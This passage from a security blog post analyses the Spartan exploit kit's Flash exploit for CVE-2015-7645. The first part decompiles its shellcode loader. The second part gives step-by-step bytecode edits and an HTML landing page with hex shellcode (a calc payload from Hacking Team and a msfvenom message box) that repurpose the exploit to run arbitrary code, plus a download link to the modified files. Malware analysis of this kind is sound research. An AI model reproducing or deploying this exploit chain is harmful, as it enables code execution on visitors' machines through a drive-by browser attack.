constructprop Qname(PackageNamespace("flash.utils"),"ByteArray") 0
coerce Qname(PackageNamespace("flash.utils"),"ByteArray")
setlocal 6
getlex Qname(PackageNamespace("_-A"),"class_10")
getlex Qname(PackageNamespace("continue const"),"class_11")
pushstring "VgngSua8bVXwXmNqNzBQakeey/zpsGEqViS ... oN67pst0uMRoJTpZsZRgNnL7pmq6NY7VV1r/nBQVh"
callproperty Qname(PackageNamespace("","2"),"method_72") 1
getlocal_1
callproperty Qname(PackageNamespace("","2"),"rc4_decrypt") 2
coerce Qname(PackageNamespace("flash.utils"),"ByteArray")
dup
dup
setlocal 5
</pre>
</br>
Where has _loc5_ been initialised in the AS3? Where is the string defined on line 18 in the AS3? For the 2nd question I'm not sure if this was done on purpose by the malware writers or a by-product of SecureSWF but either way it's another good reason not to trust the AS3 source. This function does the following:
</br>
<ol>
<li>Declares _loc5_ and _loc6_ as ByteArrays
<li>Base64 decodes and then RC4 decrypts the string on line 18 using param1 i.e. <b>db7f335571b4f0c67670335deefe2e3c</b> as key
<li>Converts param2 i.e §_-5§ i.e asfsgrggvxvb(param1) from hex to ByteArray (h2ba function)
<li>Concatenates the 2 strings together using writeBytes and stores the resultant in _loc5_
<li>Sets the endianness of _loc5_ to "littleEndian"
<li>Calls param3["Exec"](_loc5_) i.e. §_-p§.Exec(_loc5_)
</ol>
The next function then takes _loc5_, converts it to a vector (CopyBAToVector), gets it's address(GetAddrV0), finds the address of Virtual Protect (FindVP), calls it (CallVP), gets the address of the _loc5_ (GetAddr), writes it in the newly created memory space (Set) and calls it (Payload.call). This could mean only 1 thing: <b>_loc5_ is the shellcode!!</b>
</br></br>
An easy method to prove this conjecture is by changing the string on line 18 to 0xCC's. If what we claim is true, the debugger should halt at this point as an 0xCC is a debugger interrupt. Change the bytecode to reflect this:
</br></br>
<pre class="brush:as3;">
...
coerce Qname(PackageNamespace("flash.utils"),"ByteArray")
setlocal 6
findpropstrict Qname(PackageNamespace("","2"),"h2ba")
getlocal 5
pushstring "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
callproperty Qname(PackageNamespace("","2"),"h2ba") 2
coerce Qname(PackageNamespace("flash.utils"),"ByteArray")
dup
dup
setlocal 5
getproperty Qname(PackageNamespace("","2"),"length")
setproperty Qname(PackageNamespace("","2"),"position")
getlocal 9
iffalse ofs00ac
...
</pre>
</br>
The modified lines are 4 - 13. These create a string of C's, convert it into a ByteArray using the h2ba function found in the same class and set it's position to the end, i.e. equal to it's length. The last operation is very important since another string is appended to this. The position property of a ByteArray is exclusive to ActionScript (as far as I know). It is used as a pointer to determine from where reads and writes start to operate. If we do not explicitly set the position to point at the end of the string, the concatenation might overwrite our string. Running the Flash SA version under IDA and loading the modified Torment10.swf file we get the following result:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSYBregSOFh3jyJKtZJcncTMw3RX323gERmwdAMDUtT2wPzjWA0GzLLCLXk3drEBgHLi4PbIQuyIN-oRhDxOaleA1jeK15yIx0_EdTAwYvZhpi9v4o6fiJo4oSaXJnfyS84QoeURfyzw-3/s1600/cc.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSYBregSOFh3jyJKtZJcncTMw3RX323gERmwdAMDUtT2wPzjWA0GzLLCLXk3drEBgHLi4PbIQuyIN-oRhDxOaleA1jeK15yIx0_EdTAwYvZhpi9v4o6fiJo4oSaXJnfyS84QoeURfyzw-3/s700/cc.bmp" /></a></div>
</br>
This is exactly what we've been aiming for throughout this blog post!! At this point we don't need to perform any more analysis. We have a decent idea of what Spartan EK is doing and, most importantly, we know where the shellcode is and how it is constructed. In the next section we'll repurpose this exploit to run our own shellcode.
</br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">Transmogrifying the Ancient Loot (Repurposing the Exploit)</span></h2>
</div>
</br>
The most straight forward method of repurposing the exploit is to replace the existing shellcode with ours. Albeit it's the easiest way, it is not extentable and modifying the Flash file every time is a pain. A better way of achieving this is by creating an html landing page which serves both the exploit and the shellcode directly from the page itself.
</br></br>
By now you have probably realised that we can use Torment10.swf directly. Torment1.swf and Torment2.swf were merely there for obfuscation and anti-reversing purposes. So, let's start with a clean version of Torment10.swf and see what alterations are required. Currently the end shellcode is a concatenation of the following parts:
</br>
<ul>
<li><b style="color:#cccccc;">Part 1 -</b><span style="color: #999999;"> Hardcoded as a string in §override const§.Load() function</span>
<li><b style="color:#cccccc;">Part 2 -</b><span style="color: #999999;"> Passed as a variable named "exec" from the parent layer (Torment2.swf)</span>
</ul>
As we only need a single method, we keep Part 2 and do away with Part 1. Why not the other way round? The reason is that Part 1 is already passed as a variable from an external entity and hence the code for this procedure is already in place. Luckily for us, the AS3 code for accessing an external variable is the same, irrelevant it is being passed from a parent SWF or an html landing page.
</br></br>
Make sure to perform the following operations on an unmodified version of Torrent10.swf. The first modification is the following line in class_1.Init():
</br></br>
<pre class="brush:as3;">
§_-5§ = asfsgrggvxvb(param1);
</pre>
</br>
Remove the <b>findpropstrict</b> and <b>callproperty</b> bytecode instructions to function asfsgrggvxvb. The section now looks like this:
</br></br>
<pre class="brush:as3;">
...
getlocal_3
pushint 190000207
ifnle ofs00f7
getlocal_1
findproperty Qname(PackageInternalNs(""),"_-5")
swap
setproperty Qname(PackageInternalNs(""),"_-5")
getlex Qname(PackageNamespace("_-A"),"class_10")
...
</pre>
</br>
The AS3 window in JPEXS should now display the following line instead:
</br></br>
<pre class="brush:as3;">
§_-5§ = param1;
</pre>
</br>
The 2nd and last change required is to remove the 1st part of the previous shellcode from function §override const§.Load(). Unfortunately I can't show the difference in AS3 here as JPEXS does not translate it very well and misses important sections. The following is the bytecode in question:
</br></br>
<pre class="brush:as3;">
findpropstrict Qname(PackageNamespace("flash.utils"),"ByteArray")
constructprop Qname(PackageNamespace("flash.utils"),"ByteArray") 0
coerce Qname(PackageNamespace("flash.utils"),"ByteArray")
setlocal 6
getlex Qname(PackageNamespace("_-A"),"class_10")
getlex Qname(PackageNamespace("continue const"),"class_11")
pushstring "VgngSua8bVXwXmNqNzBQakeey/ ... MRoJTpZsZRgNnL7pmq6NY7VV1r/nBQVh"
callproperty Qname(PackageNamespace("","2"),"method_72") 1
getlocal_1
callproperty Qname(PackageNamespace("","2"),"rc4_decrypt") 2
coerce Qname(PackageNamespace("flash.utils"),"ByteArray")
dup
dup
setlocal 5
getproperty Qname(PackageNamespace("","2"),"length")
setproperty Qname(PackageNamespace("","2"),"position")
getlocal 9
iffalse ofs00aa
getlocal_3
getlocal 5
getlocal_3
kill 3
</pre>
</br>
This is how the bytecode should look like after the change:
</br></br>
<pre class="brush:as3;">
findpropstrict Qname(PackageNamespace("flash.utils"),"ByteArray")
constructprop Qname(PackageNamespace("flash.utils"),"ByteArray") 0
coerce Qname(PackageNamespace("flash.utils"),"ByteArray")
setlocal 6
getlocal 9
iffalse ofs008d
getlocal_3
getlocal 5
getlocal_3
kill 3
</pre>
</br>
We have simply removed the 11 instructions that generate the 1st part of the shellcode. The last quest is to create a landing page that serves both our Flash file and the shellcode:
</br></br>
<pre class="brush:xml;">
<html>
<body>
<object type="application/x-shockwave-flash" data="Torment10.swf" allowScriptAccess=always width="500" height="500">
<param name="movie" value="Torment10.swf"/>
<param name="bgcolor" value="#ffffff"/>
<param name="allowScriptAccess" value="always"/>
<param name="play" value="true" />
<!-- Calc: Hacking Team -->
<param name=FlashVars value="exec=558BEC83C4AC535157648B05300000008B400C8B400C8B008B008B581889D803403C8B507801DA8B7A2001DF31C98B0701D8813843726561751C81780B7373410075138B422401D80FB704488B521C01DA031C82EB0983C704413B4A187CCF8D45F0508D7DAC5731C0B911000000F3ABC745AC44000000505050505050E80900000063616C632E6578650050FFD35F595BC1E00383C006C9C3909090" />
<!-- Msgbox : msfvenom -p windows/messagebox TEXT="PWNED" -f c | grep '"' | tr -d '"|\\x|\n' -->
<!-- <param name=FlashVars value="exec=d9eb9bd97424f431d2b27731c9648b71308b760c8b761c8b46088b7e208b36384f1875f35901d1ffe1608b6c24248b453c8b54287801ea8b4a188b5a2001ebe334498b348b01ee31ff31c0fcac84c07407c1cf0d01c7ebf43b7c242875e18b5a2401eb668b0c4b8b5a1c01eb8b048b01e88944241c61c3b20829d489e589c2688e4e0eec52e89fffffff894504bb7ed8e273871c2452e88effffff894508686c6c20416833322e64687573657230db885c240a89e656ff550489c250bba8a24dbc871c2452e85fffffff686f7858206861676542684d65737331db885c240a89e368445820206850574e4531c9884c240589e131d252535152ffd031c050ff5508"/> -->
</object>
</body>
</html>
</pre>
</br>
I took the liberty of giving 2 shellcode examples. The top one pops calc and was taken directly from the Hacking Team's Flash exploit and the bottom, which has been commented out, was generated using msfvenom and pops a message box.
</br></br>
Put both the landing page and Torment10.swf in the same folder. Make sure you have Flash Player 19.0.0.207 AX non-debug installed and open the html page with IE11:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgu5HvWahQrANy7oE8pZwAvXEANq-vSs2kiWi1sEEz8QMiZLOuqV5D1Bw8LxMScMFL4aYkU1GUJMHsluwP5v5avS19Km1j4M1RHyjF5sRfdQiOuTRpw7qr04I_C3jYMBB2mhNJ1tTMn-td3/s1600/Untitled.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgu5HvWahQrANy7oE8pZwAvXEANq-vSs2kiWi1sEEz8QMiZLOuqV5D1Bw8LxMScMFL4aYkU1GUJMHsluwP5v5avS19Km1j4M1RHyjF5sRfdQiOuTRpw7qr04I_C3jYMBB2mhNJ1tTMn-td3/s740/Untitled.bmp" /></a></div>
</br>
The final versions of the files can be downloaded <a href="https://github.com/GradiusX/vulnerable.space/raw/master/Malware---CVE-2015-7645/Spartan%20CVE-2015-7645%20repurposed.rar">here</a>
</br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">Spending the Blood Shards (Conclusion)</span></h2>
</div>
</br>
Congrats to those of you who made it this far !! In this blog post we've looked at one Spartan EK's Flash exploits and repurposed it to our needs. At this point I would love to hear your feedback and comments. Once again .. おめでとうございます.
</br></br>
PS: Exuse my heavy use of Diablo 3 references :P
</span>
<br /></div>GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com1